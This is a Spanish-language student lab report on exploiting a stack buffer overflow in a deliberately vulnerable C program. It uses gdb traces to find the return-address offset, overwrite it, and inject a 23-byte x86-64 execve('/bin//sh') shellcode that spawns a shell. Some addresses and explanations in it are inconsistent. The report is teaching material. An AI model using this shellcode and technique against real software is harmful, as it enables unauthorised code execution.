

Tarea 3 - Informe

Javier Lavados Jilbert, Nicolás García Ríos

Obtener la dirección de memoria del inicio del buffer y determinar la ubicación en la pila de ret que usa el frame f

a) **Determinar la dirección de memoria del inicio del buffer.**

A continuación se muestra la ejecución del programa utilizando `gdb`. La figura 1 corresponde a información del frame durante la ejecución de la función `f()`, al lanzar el comando `info frame`. La flecha roja indica la ejecución del comando `x/s c`, que entrega la dirección de memoria de la variable `x` en la pila.

```
(gdb) s
f (name=0x7fffffffefcc "vscode") at buffer_overflow.c:5
5      void f(char *name) {
(gdb) info frame
Stack level 0, frame at 0x7fffffffdec0:
rip = 0x555555551a9 in f (buffer_overflow.c:5); saved rip = 0x5555555522c
called by frame at 0x7fffffffdee0
source language c.
Arglist at 0x7fffffffdeb0, args: name=0x7fffffffefcc "vscode"
Locals at 0x7fffffffdeb0, Previous frame's sp is 0x7fffffffdec0
Saved registers:
  rip at 0x7fffffffdeb8
(gdb) x/s x
0x7fffffffde40: "" ← dirección de memoria de la variable 'x'
```

Figura 1: Ejecución del programa `buffer_overflow` usando `gdb`

En este caso la dirección de memoria del inicio del buffer corresponde al hexadecimal `0x7fffffffde40`.

b) **Determinen el espacio de memoria en el cual se guarda la dirección de retorno que usa el frame f al entrar a la función que copia el buffer utilizando GDB.**

Como se observa en la imagen mostrada a continuación, `rip` indica la instrucción a ejecutar cuando finalice el programa, mientras que `rip at` muestra la dirección de memoria de este código de retorno:

```
(gdb) x/s x
0x7fffffffde40: "" ← dirección de memoria de la variable 'x'
(gdb) s
7      strcpy(x, name);
(gdb) info frame
Stack level 0, frame at 0x7fffffffdec0:
rip = 0x555555551b9 in f (buffer_overflow.c:7); saved rip = 0x5555555522c
called by frame at 0x7fffffffdee0
source language c.
Arglist at 0x7fffffffde28, args: name=0x7fffffffe350 "hello"
Locals at 0x7fffffffde28, Previous frame's sp is 0x7fffffffdec0
Saved registers:
  rbp at 0x7fffffffdeb0, rip at 0x7fffffffdeb8 ← dirección de retorno
```

Figura 2: Ejecución del programa `buffer_overflow` usando `gdb`

En este caso, tenemos que la dirección de memoria del código retorno corresponde al hexadecimal `0x7fffffffdeb8`, mientras que el código de retorno corresponde a `0x555555551b9`.

Crear NOP Slide y saltar al inicio del buffer

En esta sección se debe crear el payload y un NOP Slide para el programa. Para lograr esto, primero se calcula la distancia entre ambas direcciones de memoria rescatadas en la sección anterior (la dirección del buffer en la pila y la dirección del código de retorno), el cuál resulta en 120bytes:

```
(gdb) s
7      strcpy(x, name);
(gdb) info frame
Stack level 0, frame at 0x7fffffffdec0:
rip = 0x555555551b9 in f (buffer_overflow.c:7); saved rip = 0x5555555522c
called by frame at 0x7fffffffdee0
source language c.
Arglist at 0x7fffffffde28, args: name=0x7ffffffe350 "hello"
Locals at 0x7fffffffde28, Previous frame's sp is 0x7fffffffdec0
Saved registers:
  rbp at 0x7fffffffdeb0, rip at 0x7fffffffdeb8
(gdb) x/s x
0x7fffffffde40: ""
(gdb) print 0x7fffffffdeb8 - 0x7fffffffde40
$1 = 120
(gdb)
```

diferencia en bytes de ambos espacios de memoria.

Figura 3: Calculo en bytes de la diferencia entre ambas direcciones calculadas

Luego podemos crear un Payload del tamaño necesario de bytes. Este debe copiar más allá del buffer creado en el programa, sobre-escribiendo la dirección de retorno de la pila y lanzando una violación de segmento. Debido a que la distancia entre esta dirección y el buffer es de 120bytes, un argumento de 121bytes alterará la dirección de retorno con el último byte del argumento:

```
cc5312@cc5312:~/Desktop$ ./buffer_overflow aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaa ← argumento de tamaño 121 bytes = (dif + 1) bytes
string copied
Violación de segmento ('core' generado)
```

Figura 4: Ejecución del programa con un string de 121bytes

A continuación se muestra el estado de la pila al ejecutar la instrucción anterior. Se puede ver que mientras la variable name contiene efectivamente el string completo entregado de 121bytes, el buffer solo registra 100bytes (á' repetido 100 veces).

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffde50:
rip = 0x555555551cc in f (buffer_overflow.c:8);
  saved rip = 0x55555555061
called by frame at 0x7fffffffde58
source language c.
Arglist at 0x7fffffffddb8, args:
  name=0x7ffffffe2dc 'a' <repetidos 121 veces>
Locals at 0x7fffffffddb8, Previous frame's sp is 0x7fffffffe50
Saved registers:
  rbp at 0x7fffffffde40, rip at 0x7fffffffde48
(gdb) p/s x
$10 = 'a' <repetidos 100 veces>
(gdb) p/s name
$11 = 0x7ffffffe2dc 'a' <repetidos 121 veces>
```

Figura 5: Estado de la pila y de la variable name después de copiar

Ya obtenido este error, podemos indicar una dirección explícita como retorno al final del argumento. En el siguiente ejemplo se muestra el antes de la dirección guardada en `rip` y el después de la sobreescritura:

```
(gdb) start aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$(printf "%x\n\xff\xff\xff\xff\x7f") dirección del NOP SLIDE payload  
Punto de interrupción temporal 2 at 0x555555551db: file buffer_overflow.c, line 2.  
Starting program: /home/cc5312/Desktop/buffer_overflow aaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$(printf "\xaa\xaa\xff\xff\xff\xf")  
  
Temporary breakpoint 2, main (argc=0, argv=0x7fffffffdf50)  
    at buffer_overflow.c:12  
12   int main(int argc, char **argv ) {  
(gdb) info frame  
Stack level 0, frame at 0x7ffffffde70: direccion que será sobre-escrita  
rip = 0x555555551db in main (buffer_overflow.c:12); saved rip = 0x7ffff7dea0b3  
source language c.  
Arglist at 0x7ffffffde60, args: argc=0, argv=0x7fffffffdf50  
Locals at 0x7ffffffde60, Previous frame's sp is 0x7fffffffde70  
Saved registers:  
    rip at 0x7ffffffde68
```

Figura 6: Ejecución del programa con NOP SLIDE: 0x7fffffffaaaa

```

7      strcpy(x, name);
(gdb) s
string copied

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffaaaa in ?? ()
(gdb) info frame
Stack level 0, frame at 0x7ffffffde5b8:
 rip = 0x7fffffffaaaa; saved rip = 0x7ffffffdf5f8
 called by frame at 0x7ffffffde60
 Arglist at 0x7ffffffde48, args:
 Locals at 0x7ffffffde48, Previous frame's sp is 0x7ffffffde5b8
 Saved registers:
   rip at 0x7ffffffde50

```

Figura 7: Visualización de la sobre-escritura de la dirección de retorno del programa

Injectar Shellcode

Finalmente, solo basta inyectar el shellcode (instrucción que queremos ejecutar, marcada con color azul en la figura 8) al principio del argumento entregado al programa, luego ajustar el payload en base al tamaño del shellcode, y finalmente sobrescribir la dirección de la instrucción de retorno por la dirección del inicio del buffer. El siguiente código será ejecutado en gdb para probar el ataque **buffer overflow**:

[illegible]

No está de más mencionar que la dirección del buffer puede cambiar, por lo que es necesario ejecutar el programa con gdb y consultar la dirección del buffer x. En este caso, la dirección encontrada anteriormente (0x7fffffffde40) ha cambiado a 0x7fffffffddd0, marcada con color rojo en la figura 8.

```
Starting program: /home/cc5312/Desktop/buffer_overflow $(printf "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05")aaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaa$(printf "\xd0\xdd\xff\xff\xff\x7f")
```

Figura 8: Inyección del shellcode

Finalmente logramos ejecutar el ataque **buffer overflow**. En la figura 9 se muestra una captura del debugger gdb, marcando con amarillo el momento del fin del programa **buffer overflow**, y la ejecución del código de retorno **shellcode** inyectado:

```
(gdb) s
string copied
process 1811 is executing new program: /usr/bin/dash      final del programa
$ whoami
[Detaching after fork from child process 1861]          ejecución del shellcode
cc5312
$ ls
[Detaching after fork from child process 1862]
buffer_overflow  computer.desktop  trash-can.desktop
buffer_overflow.c network.desktop   user-home.desktop
```

Figura 9: Ejecución del shellcode inyectado

Respecto al porqué debemos dejar una ventana entre el **shellcode** y el final del buffer, creemos que es necesario debido a que así permitimos ejecutar un programa con una instrucción de mayor tamaño en bytes. En este caso el **shellcode** es de 23bytes, por lo que no es posible inyectarlo directamente y sobre-escribirlo en la dirección de retorno (que acepta hasta 10bytes).